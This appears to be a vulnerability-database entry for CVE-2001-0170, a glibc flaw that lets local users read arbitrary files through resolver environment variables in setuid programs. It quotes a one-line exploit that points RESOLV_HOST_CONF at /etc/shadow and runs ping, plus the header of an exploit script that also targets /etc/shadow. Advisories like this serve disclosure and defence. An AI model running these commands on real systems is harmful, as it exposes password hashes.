2.1
CVSSv2

CVE-2001-0170

Published: 26/03/2001 Updated: 10/10/2017
CVSS v2 Base Score: 2.1 | Impact Score: 2.9 | Exploitability Score: 3.9
VMScore: 220
Vector: AV:L/AC:L/Au:N/C:P/I:N/A:N

Vulnerability Summary

glibc 2.1.9x and previous versions does not properly clear the RESOLV_HOST_CONF, HOSTALIASES, or RES_OPTIONS environmental variables when executing setuid/setgid programs, which could allow local users to read arbitrary files.

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Exploits

setenv RESOLV_HOST_CONF /etc/shadow; ping adfas # milw0rmcom [1996-01-01] ...
# Charles Stevenson <csteven@newhopeterraplexcom> # glibc-22 and openssh-230p1 (Debian 23 , Redhat 70) # This exploits is for glibc >= 219x # (****krochos@linuxmailorg****) # Edit this if you have a problem with path ssh=/usr/bin/ssh traceroute=/usr/sbin/traceroute FILE=/etc/shadow # File to read ######################## ...